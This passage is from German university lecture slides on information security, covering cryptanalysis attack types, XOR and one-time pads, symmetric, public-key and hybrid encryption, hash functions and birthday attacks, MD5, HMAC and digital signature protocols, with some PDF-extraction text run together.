disassembliert werdenI aka Security By ObscurityI → häufig inhärent unsicher (viele Beispiele)
„Die besten Algorithmen sind diejenigen, dieveröffentlicht, jahrelang von den weltbestenKryptographen angegriffen und bislang nicht geknacktwurden“
Beispiel: RC4, Stromchiffre, die 7 Jahre lang geheim war, bis1994 jemand anonym den Quelltext publizierte
34 / 57
Kryptanalyse
Voraussetzungen:I Gegner hat vollständigen Zugang zur verschlüsselten
NachrichtI Kryptografischer Algorithmus ist bekannt.
Ziel: Ermittlung des Klartextes ohne Kenntnis des Schlüssels(oder Ermittlung des Schlüssels).
Algorithmen, deren Sicherheit von ihrer Geheimhaltungabhängen, sind beschränkt und sollten nicht eingesetzt werden.
Versuch der Kryptanalyse wird Angriff genannt.
35 / 57
10
1. Ciphertext-only-Angriff
Gegeben:I Menge von chiffrierten NachrichtenI C1 = Ek (P1),C2 = Ek (P2), . . . ,Ci = Ek (Pi)
I nichts weiterGesucht:I P1,P2, . . . ,Pi und kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)
abzuleiten
36 / 57
2. Known-plaintext-Angriff
Gegeben:I Menge von chiffrierten Nachrichten sowie die
dazugehörigen KlartexteI P1,C1 = Ek (P1),P2,C2 = Ek (P2), . . . ,Pi ,Ci = Ek (Pi)
Gesucht:I kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)
abzuleiten
37 / 57
3. Chosen-plaintext-Angriff
Gegeben:I P1,C1 = Ek (P1),P2,C2 = Ek (P2), . . . ,Pi ,Ci = Ek (Pi)
I P1,P2, . . . ,Pi kann durch den Analytiker vorgegebenwerden
Gesucht:I kI oder ein Algorithmus, um Pi+1 aus Ci+1 = Ek (Pi+1)
abzuleitenKann der Analytiker, den zu verschlüsselnden Klartext inAbhängigkeit vorangehender Verschlüsselungen variieren, sospricht man von Adaptive-chosen-plaintext-Angriff
38 / 57
4. Gummischlauch-Kryptanalyse
Der Analytiker bedroht, erpresst oder quält denSchlüsselbesitzer solange, bis dieser den Schlüssel verrät.
“a process for key discovery that he describes as ‘cantake a surprisingly short time and is quitecomputationally inexpensive’.” (Quelle:http://groups.google.com/...)
→ so „gewonnene“ Erkenntnisse sind zumindest inDeutschland nicht gerichtsverwertbar („Früchte des vergiftetenBaumes“).
39 / 57
Schlechte Verschlüsselung: XOR-Verschlüsselung
I symmetrisches VerfahrenI Klartext wird zeichenweise mit Schlüssel „ex-oder-iert“,
also C = P ⊕ K
x y x ⊕ y
0 0 0
1 0 1
0 1 1
1 1 0
Tabelle: Wahrheitstabelle der Exclusive-Or-Funktion (XOR, x ⊕ y )
I Schlüssel wird immer wieder von vorn gelesenI schnell, aber (sehr) unsicher
40 / 57
XOR-Verschlüsselung, cont’d
I Entschlüsselung mit gleichem Schlüssel, da
a⊕ k ⊕ k = a⊕ 0 = a.
Problem: Known-Plaintext-Angriff
Bewertung:
„An XOR might keep your kid sister from reading yourfiles, but it won’t stop a cryptanalyst for more than afew minutes.“ (Bruce Schneier: Applied Cryptography)
41 / 57
11
Eine nützliche Eigenschaft von XOR
Satz: Es sei A eine (beliebig verteilte) Zufallsvariable1 über{0,1}n und X eine gleichverteilte Zufallsvariable über {0,1}n.Dann ist Y = A⊕ X stets eine gleichverteilte Zufallsvariableüber {0,1}n.
Beweisidee: Auftrittswahrscheinlichkeiten der Werte für A undX bei n=1:
A Pr(A)0 p01 p1
X Pr(X)0 0.51 0.5
, da gleichverteilt
Auftrittswahrscheinlichkeit der Werte für Y:Y Pr(Y)0 po · 0.5 + p1 · 0.5 = 0.5(p0 + p1) = 0.51 0.5
1{0, 1}n sei eine n Bit lange Binärzahl.42 / 57
Perfekte Verschlüsselung: One-Time-Padsaka Einmalblöcke
Eigenschaften:I Schlüssel besteht aus zufälligen Zeichen und hat gleiche
Länge wie KlartextI Schlüssel darf nur ein einziges Mal genutzt werdenI Verschlüsselung: jedes Zeichen des Klartextes wird mit
dem zugehörigen Zeichen des Schlüssels XOR-verknüpftI Entschlüsselung: wie Verschlüsselung (gleicher Schlüssel)I → symmetrisches VerfahrenI Jedes Zeichen des Schlüssels darf nur ein einziges Mal
genutzt werdenWerden diese Eigenschaften zugesichert, so ist eineKryptanalyse des Chiffrats unmöglich.
43 / 57
Angriffe auf One-Time-Pads
I Abfangen des SchlüsselsI Schlüssel nicht zufällig (z. B. pseudozufällig,
d. h. computergeneriert)I Mehrfachverwendung des Schlüssels
Literatur:http://www.ranum.com/security/computer_security/papers/otp-faq/
44 / 57
Kryptografische Protokolle
Begriff des Protokolls:
I beschreibt den dynamischen Aspekt einer Relationkommunizierender Komponenten
I beschreibt also den Ablauf der KommunikationI umgangssprachlich: eine Menge von
„Wenn-Dann“-Beziehungen („Wenn Alice einen Schlüsselschickt, dann verschlüsselt Bob damit irgendwas. . . “)
I muss allen Teilnehmern bekannt seinI darf keine Mehrdeutigkeiten enthaltenI erfordert (mindestens) zwei Teilnehmer
Der statische Aspekt der Relation wird durch die Schnittstellebeschrieben.
45 / 57
Beispiel eines ProtokollsKommunikation eines Kunden mit dem Clerk bei McDonald’s
t
"Hi."
"Hi."
"A Burger."
"Anything else?"
"No"
"Drink?"
"Large Coke."
"Takeaway?"
"No."
{"Hi", "Hello"}
Clerk Customer
{"Burger", "Fries",
"Chicken"}
{"Yes", "No"}
{"Coke", "Fanta", "Sprite"}
{"small", "medium", "large"} x
{"Yes", "No"}
"$4.99"
pay
"Bye."
"Bye."
{"Bye", "Get lost!"}
time
"Whaddaya wanna?"
computation
46 / 57
Kryptografische ProtokolleBeteiligte Helfer
Anstatt schwerfälliger Begriffsungetüme verwendet man für dieKennzeichnung der Kommunikationsparteien in derKryptografie die folgenden Namen2:
Name Funktion
Alice Erste Teilnehmerin am Protokoll
Bob Zweiter Teilnehmer am Protokoll
Carol Dritte Teilnehmerin (wenn nötig)
Dave Vierter Teilnehmer (wenn nötig)
Eve Lauscherin (eavesdropper)
Mallory Bösartiger aktiver Angreifer (malicious)
Trent (vertrauenswürdiger) Treuhänder (trust)
2Egal, welches Krypto-Buch Sie aufschlagen47 / 57
12
Kommunikation bei symmetrischen VerfahrenPrinzipieller Ablauf
1. Alice und Bob einigen sich auf ein Kryptosystem.2. Alice und Bob vereinbaren einen Schlüssel K .3. Alice chiffriert Klartext M mittels Schlüssel K und dem
vereinbarten Algorithmus:
C = EK (M)
4. Alice sendet Chiffretext-Nachricht C an Bob.5. Bob dechiffriert Chiffretext mittels desselben Algorithmus
und Schlüssels und liest den Klartext:
M = DK (C) = DK (EK (M))
Analogie: Safe
48 / 57
Kommunikation bei symmetrischen VerfahrenStörungsmöglichkeiten
I Eve kann durch Belauschen von 2. den SchlüsselabfangenI kann danach alle Nachrichten von Alice an Bob mitlesen
I Mallory kann alles was Eve kann und zusätzlichI Nachrichten von Alice abfangen (diese erreichen Bob nie)I Nachrichten fälschen (indem er eigene Nachrichten mit
dem gestohlenen Schlüssel verschlüsselt und einspeist)
d. h., Sicherheit des Verfahrens hängt maßgeblich vonGeheimhaltung des Schlüssels ab
49 / 57
Kommunikation bei symmetrischen Verfahren(systemimmanente) Nachteile
I Verteilung unter Geheimhaltung des Schlüssels istaufwändig/teuer/riskant.
I kompromittierter Schlüssel erlaubt das Mitlesen undFälschen von Nachrichten
I da jeweils 2 Partner einen Schlüssel benötigen, wächst dienötige Schlüsselanzahl quadratisch mit der Teilnehmerzahl
Für n = 100 benötigt man
n(n − 1)2
= 4950 Schlüssel.
50 / 57
Kommunikation bei symmetrischen Verfahren(systemimmanente) Nachteile
I Verteilung unter Geheimhaltung des Schlüssels istaufwändig/teuer/riskant.
I kompromittierter Schlüssel erlaubt das Mitlesen undFälschen von Nachrichten
I da jeweils 2 Partner einen Schlüssel benötigen, wächst dienötige Schlüsselanzahl quadratisch mit der Teilnehmerzahl
Für n = 100 benötigt man
n(n − 1)2
= 4950 Schlüssel.
51 / 57
Kommunikation mit Public-Key-Kryptografie
I erfordert für jeden Teilnehmer genau zwei SchlüsselI einen öffentlichen zum VerschlüsselnI einen privaten zum Entschlüsseln
I privater Schlüssel kann nicht3 aus dem öffentlichenerrechnet werden
I jeder kann öffentlichen Schlüssel nutzen, um etwas zuverschlüsseln
I nur der Besitzer des privaten Schlüssels kann dieseswieder entschlüsseln
I Analogie: Briefkasten (am Haus)
3besser gesagt, nur sehr sehr schwer52 / 57
Kommunikation mit Public-Key-KryptografiePrinzipieller Ablauf
1. Alice und Bob einigen sich auf ein Kryptosystem mitöffentlichem Schlüssel.
2. Bob macht Alice seinen öffentlichen Schlüssel EKB4
zugänglich.3. Alice chiffriert ihre Nachricht mit EKB :
C = EKB(M).
4. Alice schickt C an Bob.5. Bob dechiffriert C mittels seines privaten Schlüssels DKB
M = DKB(C).
Das Problem der Schlüsselübermittlung ist gelöst!
4Der öffentliche Schlüssel kann nur zum Verschlüsseln verwendet werden, daher bezeichnen wir wir ihn mit E .53 / 57
13
Kommunikation mit Public-Key-Kryptografie(systemimmanente) Nachteile
I ca. um den Faktor 1000 langsamer als symmetrischeVerfahren
I durch chosen-plaintext-Angriffe gefährdet, wenn Anzahlmöglicher Nachrichten geringI da öffentlicher Schlüssel bekannt, kann man
„durchprobieren“ und zu einem Chiffrat den zugehörigenKlartext ermitteln
I funktioniert bei symm. Verfahren nicht, da Schlüssel demAngreifer unbekannt
→ Kombination symmetrischer und asymmetrischer Verfahren(aka hybride Kryptosysteme)
54 / 57
Hybride KryptosystemePrinzipieller Ablauf
1. Bob übermittelt Alice seinen öffentlichen Schlüssel EKB .2. Alice generiert einen zufälligen Sitzungsschlüssel K und
chiffriert ihn mit EKB .
C = EKB(K )
3. Alice übermittelt C an Bob.4. Bob entschlüsselt die Nachricht C mit seinem privaten
Schlüssel und erhält den Sitzungsschlüssel.
K = DKB(C)
5. Beide verschlüsseln ihre Kommunikation nun symmetrischmit K , dem Sitzungsschlüssel.
55 / 57
Hybride KryptosystemeFazit
I Public-Key-Kryptografie dient hier zum sicherenSchlüsseltransport
I Schlüsselverwaltungsproblem also auch gelöstI Kommunikation trotzdem effizient, da symmetrisch
verschlüsseltI Flexibilisierung: Schlüssel kann jederzeit aufwandsarm
ersetzt werden (z. B. bei Kompromittierung)I Angriffsmöglichkeit: bei der initialen Übermittlung der
öffentlichen Schlüssel
56 / 57
Zusammenfassung: Was haben wir gelernt?
1. historische Verfahren (Transpositions- vs.Substitionschiffren)
2. Vigenère-Verschlüsselung, Einsatz und Kryptanalyse3. Kerckhoffs’sches Prinzip eines ‘guten’ Kryptosystems4. 4 Typen Angriffe auf Kryptosysteme5. symmetrische vs. asymmetrische Kryptografie6. Perfekte Verschlüsselung mit One-Time-Pads7. Wer sind Alice und Bob?
57 / 57
Vorlesung InformationssicherheitThema 3: Grundlagen der Kryptographie II
Robert Baumgartl
18. Juli 2018
1 / 108
Einwegfunktionen
. . . sind ein wichtiger Baustein kryptografischer Verfahren
I Bestimmung von f (x) aus x leicht (vorwärts)I Bestimmung von x aus gegebenem f (x) extrem schwer,
d. h. nur mit allen zur Verfügung stehenden Rechnern derWelt in hunderten von Jahren
Beispiele:I Suche einer Telefonnummer zu gegebenem Namen im
Telefonbuch ist einfachI Suche eines Namens zu gegebener Telefonnummer im
Telefonbuch ist schwierigI Multiplikation zweier (großer) Primzahlen ist einfachI Zerlegung des Produktes in zwei Primzahlfaktoren ist
extrem aufwändig (→ Faktorisierungsverfahren)
10 / 108
14
Einwegfunktionen, contd.
Es gibtI keinen Beweis für die Existenz von undI keine systematischen Konstruktionsverfahren für
Einwegfunktionen.
Einwegfunktion mit Hintertür:I mit Kenntnis eines Zusatzschlüssels wird die Ermittlung
von x aus f (x) einfach.
11 / 108
Einweg-Hashfunktionen
. . . sind Einwegfunktionen, die zu gegebenen Daten variablerLänge einen Funktionswert konstanter, meist kurzer Länge (→„Fingerabdruck“, kryptografischer Hash, Message Digest)ermitteln.
I Hash H(m) zu gegebenen Daten m ist leicht zu ermitteln(effizient zu berechnen).
I Zu vorgegebenem Hash eine passende Eingabe zukonstruieren ist hingegen (extrem) schwer(m = H−1(H(m))).
I Änderung eines Bits in der Eingabe sollte im Mittel dieHälfte der Bits in der Ausgabe ändern.
Anwendung:I Integritätssicherung von DateienI Digitales SignierenI Authentifizierung
12 / 108
Kryptografische HashverfahrenBeispiele
Hashlänge BlockgrößeVerfahren Jahr gebrochen? [Bit] [Bit]
MD2 1988 X3 128 128MD4 1990 X 128 512MD5 1991 X4 128 512
SHA-1 1995 X5 160 512SHA-256 2004 - 256 512SHA-512 2004 - 512 1024
SHA-3 2012 - 226-512 576-1152
Es ist ebenfalls möglich, Blockchiffren als kryptografische Hasheseinzusetzen.
3Knudsen, Mathiassen: Preimage and Collision Attacks on MD2, 20054 Praktikumsaufgabe5Stevens, Karpman, Peyrin: Freestart Collision for full SHA-1, 2015
13 / 108
Angriffe gegen HashfunktionenKollisionen
I Kollision: Für zwei Nachrichten m1 und m2 wird ein- undderselbe Hash erzeugt, also H(m1) = H(m2)
I in der Softwaretechnik z. B. durch Überlauflistenbehandelt, unkritisch
I bei kryptografischen Hashes gefährlich; erste Stufe zum„Brechen“ des Hashverfahrens
I Kollisionsfreiheit ist unmöglich (unendlich vieleverschiedene Nachrichten werden auf 2Hashlänge
verschiedene Hashwerte abgebildet)I stattdessen: Kollisionsresistenz gefordert
14 / 108
Angriffe gegen HashfunktionenKollisionsresistenz
Schwache KollisionsresistenzI Zu einer Nachricht m und deren gegebenen Hashwert
H(m) ist es praktisch unmöglich, eine zweite Nachricht m′
zu finden, die den gleichen Hashwert H(m′) = H(m) hat.Starke KollisionsresistenzI Es ist praktisch unmöglich, zwei Nachrichten m und m′ zu
finden, die den gleichen Hashwert H(m) = H(m′)aufweisen.
15 / 108
Angriffe gegen HashfunktionenBrute-Force-Angriff gegen schwache Kollisionsresistenz
gegeben: Nachricht m mit Hashwert H(m)
gesucht: Nachricht m′ mit H(m′) = H(m)
1: START2: zufällige Generierung m′
3: Ermittlung H(m′)4: if H(m′) = H(m) then5: STOP {Kollision gefunden}6: else7: GOTO 28: end if
I bei einer Hashlänge von n Bit ist die Wkt. einer Kollisionbei jeder Iteration 2−n im Mittel 2n Iterationen bis zurKollision nötig
16 / 108
15
Angriffe gegen HashfunktionenBrute-Force-Angriff gegen schwache Kollisionsresistenz
Start
zufällige Auswahl m′
Berechnung H(m′)
H(m′) =H(m) ?
Kollision gefunden
Stop
yes
17 / 108
Angriffe gegen HashfunktionenGeburtstagsangriff
Geburtstagsparadoxon:
Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?
I p = 1−(
364365
)n
p253 ≈ 0.5005 n = 253
Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?
I n = 23
6am 6. September18 / 108
Angriffe gegen HashfunktionenGeburtstagsangriff
Geburtstagsparadoxon:
Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?
I p = 1−(
364365
)n
p253 ≈ 0.5005 n = 253
Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?
I n = 23
6am 6. September19 / 108
Angriffe gegen HashfunktionenGeburtstagsangriff
Geburtstagsparadoxon:
Wie viele Personen müssen sich in einem Raum befinden,damit die Wahrscheinlichkeit, dass jemand mit mir amgleichen Tag Geburtstag6 hat größer ist als 50%?
I p = 1−(
364365
)n
p253 ≈ 0.5005 n = 253
Wieviele Personen müssen sich in einem Raum befinden,damit die Wkt., dass zwei von Ihnen am gleichen TagGeburtstag haben, größer ist als 50%?
I n = 23
6am 6. September20 / 108
GeburtstagsparadoxonBeweisskizze
I Wkt., dass man an einem bestimmten Tag im JahrGeburtstag hat: 1
365I Wkt., dass man an einem bestimmten Tag im Jahr nicht
Geburtstag hat: 364365
I Wkt., dass man an zwei bestimmten Tagen im Jahr nichtGeburtstag hat: 363
365
Voraussetzung: Geburtstage in der Gruppe sind unabhängigund gleichverteiltI Eine Gruppe von zwei Personen enthält mit
Wahrscheinlichkeit 364365 keine zwei Personen mit dem
gleichen Geburtstag, da die zweite Person genau aneinem Tag keinen Geburtstag haben kann.
21 / 108
GeburtstagsparadoxonBeweisskizze, Fortsetzung
I Eine Gruppe von drei Personen enthält mitWahrscheinlichkeit 364
365 · 363365 keine zwei Personen mit dem
gleichen Geburtstag, da die dritte Person (und nur diese)an zwei Tagen keinen Geburtstag haben darf.
I Eine Gruppe von n Personen enthält mit Wkt.364365 · 363
365 · . . . · 366−n365 keine 2 Personen gleichen
Geburtstags.I Eine Gruppe von n Personen enthält mit Wkt.
pn = 1− 364365 · 363
365 · . . . · 366−n365 2 Personen gleichen
Geburtstags.
p23 ≈ 0,5072
In einer Gruppe von (mindestens) 23 Personen ist dieWahrscheinlichkeit, dass 2 Personen am gleichen TagGeburtstag haben, größer als 50%.
22 / 108
16
Angriffe gegen HashfunktionenZurück zum Planet...Geburtstagsangriff
I Der Angreifer möchte zwei Nachrichten M und M ′ finden,so dass gilt: H(M) = H(M ′).
I Er kann dann M dem Kommunikationspartner zeigen, den(gemeinsamen) Hash H(M) signieren lassen und dann Mdurch M ′ ersetzen
Aus dem Geburtstagsparadoxon folgt:
I Es ist sehr schwer, zu einer gegebenen Nachricht mitHash einen zweiten Hash zu finden, der mit ihrem eigenenHashwert kollidiert.
I Es ist leichter, eine Kollision zu erzeugen, wenn beideNachricht variabel sind!
I Die Anzahl zu prüfender Hashes reduziert sich um dieWurzel!
23 / 108
GeburtstagsangriffBeispiel und Fazit
I Gegeben sei eine kryptografisch sichere Hashfunktion.I (hypothetische) Hashlänge 64 Bit (k = 64)I Brute-Force-Angriff eines gegebenen Hashes erfordert das
Prüfen von 264 Hashwerten (≈ 1.892 · 1019)I Rechner, der in der Sekunde 1.000.000 Hashes generiert,
benötigt dafür etwa 600.000 JahreI Ein Geburtstagsangriff auf diese Hashfunktion erfordert
das Prüfen von 2k/2 = 232 HashesI Obiger Rechner benötigt dafür etwa 71 Minuten7!
Fazit: Ist ein Geburtstagsangriff auf die Hashfunktion zuerwarten, so muss die Länge des generierten Hashes imVergleich zum ausschließlich drohenden Brute-Force-Angriffverdoppelt werden.
7Ein analoger Angriff auf SHA-1 benötigt 2.79 Urknallperioden (á 13.75 Mrd. Jahre)24 / 108
Hashing en Detail: MD5Idee: Kompression
I (mehrfache) Iteration einer sog. KompressionsfunktionI Eingabe: Daten fester LängeI Resultat: Daten fester Länge (kürzer als Eingabe)
I Beispiel: Kompression bei MD5: Eingabe H (128 Bit), B(512 Bit), Resultat 128 Bit
512 512 512
C C C C
... Pad
128 ...H0 H1
128128 128128Hn = h(M)
Init
Nachricht M
Abbildung: Merkle-Damgård-Verfahren
25 / 108
Merkle-Damgård-Schema
1. M wird aufgefüllt (Padding) mitI 1 Bit mit Wert 1,I variable Anzahl 0-Bits,I 64 Bit, in denen die Länge von M (in Bits) kodiert ist,
so dass die Länge der resultierenden Nachricht M ′ einVielfaches von 512 Bit beträgt
1 0 0 0 Länge (64 Bit)...Pad =
Abbildung: Padding im Merkle-Damgård-Verfahren
2. M ′ wird in 512 Bit lange Blöcke B1,B2, . . .Bn aufgeteilt3. H0 = IV (Initial Value)4. Hi = C(Hi−1,Bi) ∀i = 1, . . . ,n5. Hn = H(M), der gesuchte Hashwert von M.
26 / 108
Merkle-Damgård-Schema
Anmerkungen:I maximale Länge der Nachricht 264 Bit= 2 EiB (ExbiByte) =
2048 PiB (PebiByte)I lineare Komplexität des VerfahrensI die meisten kryptografischen Hashverfahren nutzen diese
Technik (unterscheiden sich in C)Satz (Merkle/Damgård, 1989): Wenn die KompressionsfunktionC keine Kollisionen verursacht, dann auch nicht das nachobigem Verfahren konstruierte Hashverfahren.
27 / 108
„Message Digest“ MD5
I Ronald Rivest, 1991I beschrieben im RFC 1321I nutzt das Merkle-Damgård-SchemaI sehr populär (Zertifikate, Integritätsprüfungen, . . . )I Linux: Kommando md5sum
I seit 2004 sind Kollisionen publiziert→ unsicher
Ablauf:I relativ komplexe KompressionsfunktionI für jeden der Blöcke Bi werden 4 Iterationen („Runden“)
ausgeführtI jede Runde besteht aus 16 Operationen
28 / 108
17
Eine Operation in MD5
+
+
+
+
A B C D
A B C D
16mal
(32 Bit)j-ter Teilblock von Bi
32 BitKonstante
«s
Hi , 128 Bit
Linksrotation
modulare Addition N
29 / 108
Nichtlineare Funktionen N
F (X ,Y ,Z ) = (X ∧ Y ) ∨ ((¬X ) ∧ Z )
G(X ,Y ,Z ) = (X ∧ Z ) ∨ (Y ∧ (¬Z ))
H(X ,Y ,Z ) = X ⊕ Y ⊕ ZI(X ,Y ,Z ) = Y ⊕ (X ∨ (¬Z ))
I in jeder Runde wird eine andere Funktion genutzt
30 / 108
Anwendung: Message Authentication Codes (MAC)
I = spezieller Hash, der von Eingabedaten und einemzusätzlichen geheimen Schlüssel abhängt
I somit nur für Besitzer des Schlüssels generier- bzw.prüfbar
I mittels Blockchiffre im CBC- oder CFB-Modus oder ausHashfunktion implementierbar
I Beispiel: HMAC (RFC 2104)→ TLS, IPsec
Zweck:I Sicherung der Integrität von NachrichtenI Authentisierung der NachrichtI Nichtabstreitbarkeit der Nachricht
31 / 108
Message Authentication Codes (MAC)Prinzip
1. Alice und Bob tauschen (geheimen) Schlüssel aus2. Alice generiert Nachricht, ermittelt MAC aus Nachricht und
Schlüssel3. Nachricht und MAC werden an Bob übertragen4. Bob berechnet MAC aus Nachricht und Schlüssel5. Stimmen errechnete und übertragene MAC überein, ist die
Nachricht authentisch und muss von Alice stammen, danur diese den Schlüssel besitzt.
32 / 108
Message Authentication Codes (MAC)Realisierung mittels Hashfunktion
I Secret Prefix MAC: MACk (x) = h(k ‖ x)I gefährlich, weil MAC einer verlängerten Nachricht x aus
MACk (x) ohne Kenntnis von k ermittelt werden kann:I h(k‖x1x2 . . . xn+1) = h (h(k ||x1x2 . . . xn)||xn+1)
I Secret Suffix MAC: MACk (x) = h(x ‖ k)I gefährlich, wenn Mallory Kollisionen erzeugen kann, d. h. ,
h(x) = h(y) mit x 6= yI damit:
MACk (x) = h(x ‖ k) = h(y ‖ k) = MACk (y)
I Mallory könnte x durch y ersetzen
I HMACk (x) = h [(k+ ⊕ opad) ‖ h[(k+ ⊕ ipad) ‖ x ]]I zweifaches Hashen beseitigt NachteileI trotzdem effizient, da Nachricht x nur einmal gehashtI bewiesen sicheres Verfahren
33 / 108
HMAC (RFC2104)Struktur, grafisch
324 12 Message Authentication Codes (MACs)
i.e., an attacker cannot do better than brute-forcing the entire key space to forge amessage. However, if an attacker exploits the birthday paradox (cf. Section 11.2.3),he can forge a signature with about
√2160 = 280 computations. There are indications
that SHA-1 collisions can be constructed with even fewer steps, so that an actualattack might be even easier. In summary, we conclude that the secret suffix methodalso does not provide the security one would like to have from a MAC construction.
HMAC
A hash-based message authentication code which does not show the security weak-ness described above is the HMAC construction proposed by Mihir Bellare, RanCanetti and Hugo Krawczyk in 1996. The scheme consists of an inner and outerhash and is visualized in Figure 12.2.
Fig. 12.2 HMAC construction
The MAC computation starts with expanding the symmetric key k with zeros onthe left such that the result k+ is b bits in length, where b is the input block width ofthe hash function. The expanded key is XORed with the inner pad, which consistsof the repetition of the bit pattern:
(Abb.: Christof Paar und Jan Pelzl. Understanding Cryptography. Springer, 2010,S. 324)
34 / 108
18
Anwendungsbeispiel: Hashcash
Idee:I zur Autorisierung soll ein Nutzer ‘etwas’ Rechenzeit
aufwenden und diesen Aufwand nachweisenI Nutzung Hashfunktion; Ergebnis muss bestimmte
Merkmale aufweisenI Beispiel: „Generiere einen SHA1-Hash über einem
zufällligen Datum, dessen erste 20 Bits alle den Wert Nullhaben!“→ es müssen ca. 220 Hashes ermittelt werden
Anwendung:I Abwehr von SpamI Mining-Funktion in Cryptowährungen (z. B. Bitcoin)
35 / 108
Signaturen (Unterschriften)
. . . dienen dem Beweis der Echtheit, der Urheberschaft oderdem Einverständnis mit dem Inhalt eines Dokumentes.
Eigenschaften:I authentisch - überzeugt den Empfänger, dass der
Unterzeichner willentlich unterschrieben hatI fälschungssicher - beweist, dass der Unterzeichner (und
kein anderer) das Dokument unterzeichneteI nicht wiederverwendbar - kann in kein anderes Dokument
„übertragen“ werdenI Unterschriebenes Dokument kann nicht mehr verändert
werden.I nicht rücknehmbar - Unterzeichner kann Unterschrift nicht
leugnen.
36 / 108
Digitale Signaturen
Verschlüsselung von Dokumenten weist viele dieserAnforderungen auf→ Nutzung kryptografischer Techniken zurSignierung digitaler Dokumente
Verschiedene Verfahren:I symmetrische Verschlüsselung und VermittlungI mittels Public-Key-KryptographieI mittels Public-Key-Kryptographie und Einweg-Hashfunktion
37 / 108
Signieren mit symmetrischen Kryptosystemen undVermittler
Voraussetzungen:I Vermittler (Trent), dem vertraut wirdI Schlüssel KA für Komm. Alice↔ Trent und KB für Bob↔
TrentProtokoll:
1. Alice verschlüsselt M an Bob mit KA und schickt sie anTrent.
2. Trent entschlüsselt M mittels KA.3. Trent verschlüsselt M zusammen mit einer Nachricht, dass
M von Alice stammt, mit KB
4. Trent sendet C = KB(M) an Bob.5. Bob entschlüsselt C mit KB. Er kann M lesen und ist
sicher, dass diese von Alice stammt.
38 / 108
Signieren mit Public-Key-Kryptographie
1. Alice verschlüsselt M mit ihrem privaten (!) Schlüssel DKA
(unterzeichnet): C = DKA(M)
2. Alice schickt Chiffrat C an Bob3. Bob entschlüsselt C mit Alice’ öffentlichen Schlüssel EKA ,
was die Echtheit von M beweist
Vorteil im Vergleich zum symmetrischen Verfahren:I kein Vermittler erforderlichI auch nicht im Streitfall
Probleme:I Sicherung der Authentizität des öffentlichen Schlüssels
von Alice EKA
I Zeitbedarf bei langen Dokumenten
39 / 108
Signieren mit Public-Key-Kryptographie undEinweg-Hashfunktion
Idee: Signierung eines Einweg-Hashes über das Dokumentanstatt des Dokumentes selbst (→ effizient).Protokoll:
1. Alice berechnet den Einweg-Hash W1 zumentsprechenden Dokument M: W1 = H(M).
2. Alice verschlüsselt W1 mit ihrem privaten Schlüssel DKA :C = DKA(W1) = DKA(H(M)) (Signatur).
3. Alice sendet C und M an Bob.4. Bob ermittelt den Einweg-Hash W2 zum empfangenen
Dokument M.5. Bob entschlüsselt W1 = EKA(C) mit Alice’ öffentlichem
Schlüssel6. Bob prüft, ob W1 = W2 gilt. Wenn ja, dann ist die
Unterschrift von Alice unter M gültig.40 / 108
19
Vorteile des Signierens mit Public-Key-Kryptographieund Einweg-Hashfunktion
1. großer Geschwindigkeitsgewinn bei gleicher Sicherheit(Voraussetzung: sichere Hashfunktion)
2. Unterschrift und Dokument können getrennt gespeichertwerden.
3. Möglichkeit, das Dokument selbst (noch) geheim zuhalten; Offenlegung erst bei Prüfung der Unterschrift nötig→ urheberrechtliches Schützen
41 / 108
Nutzung von Zeitstempeln
I Wenn signiertes Dokument nur einmal genutzt werden darf(Scheck, Gutschein, . . . ) muss Mehrfachverwendungunterbunden werden
I Lösung: Datum und Zeit der Unterschrift an Dokumentanhängen, gemeinsam unterschreiben
42 / 108
Nutzung von Zeitstempeln
I Wenn signiertes Dokument nur einmal genutzt werden darf(Scheck, Gutschein, . . . ) muss Mehrfachverwendungunterbunden werden
I Lösung: Datum und Zeit der Unterschrift an Dokumentanhängen, gemeinsam unterschreiben
43 / 108
Mehrfachsignatur
Problem: Alice und Bob wollen beide ein- und dasselbeDokument signieren (z. B. einen Vertrag)
Möglichkeiten:a) Alice und Bob unterschreiben verschiedene Kopien des
Dokuments (unhandlich)b) Erst unterzeichnet Alice, dann unterzeichnet Bob das von
Alice unterzeichnete Dokument. (→ Signaturprüfung vonAlice muss immer erst Signaturprüfung von Bobvorangehen - unelegant)
c) Alice und Bob unterschreiben separat den Hashwert desDokuments (→ Unterschriften einzeln prüfbar)
44 / 108
Digitale Signaturen mit Verschlüsselung
Kombination von Signierung und Verschlüsselung:
1. Alice unterschreibt ihre Nachricht M mit ihrem privatenSchlüssel: SA(M) mit SA = DKA
2. Alice verschlüsselt die unterzeichnete Nachricht mit Bobsöffentlichem Schlüssel: C = EKB(SA(M))
3. Alice schickt C an Bob4. Bob entschlüsselt C mit seinem privaten Schlüssel
DKB : DKB(EKB(SA(M)))
5. Bob prüft die Gültigkeit mit Alice’ öffentlichen Schlüsselund erhält die Klartextnachricht:VA(DKB(EKB(SA(M)))) = M mit VA = EKA
45 / 108
Anmerkungen
Günstig, vor der Verschlüsselung zu signieren:I Unterschrift kann nicht durch einen Gegner entfernt
werden.I Man sieht, was man unterschreibt!I Keine kryptanalytischen Angriffe möglich.
Es können für Signierung und Verschlüsselungunterschiedliche Schlüsselpaare verwendet werden.
46 / 108
20
Erneutes Senden als Empfangsbestätigung
1. Alice unterschreibt M mit ihrem privaten Schlüssel,verschlüsselt anschließend mit Bobs öffentlichemSchlüssel und sendet das Chiffrat an Bob:C = EKB(SA(M))
2. Bob entschlüsselt mit seinem privaten Schlüssel, überprüftAlice’ Signatur mit deren öffentlichen Schlüssel und stelltM damit wieder her: VA(DKB(EKB(SA(M)))) = M.
3. Bob unterschreibt seinerseits M mit seinem privatenSchlüssel SB, chiffriert anschließend mit Alice’ öffentlichenSchlüssel und schickt die Nachricht alsEmpfangsbestätigung zurück: C2 = EKA(SB(M))
4. Alice entschlüsselt mit Ihrem privaten Schlüssel und prüftwiederum Bobs Signatur mit seinem öffentlichenSchlüssel. Stimmt die entschlüsselte mit derursprünglichen Nachricht überein, weiß sie, dass Bob dieNachricht erhalten hat.
47 / 108
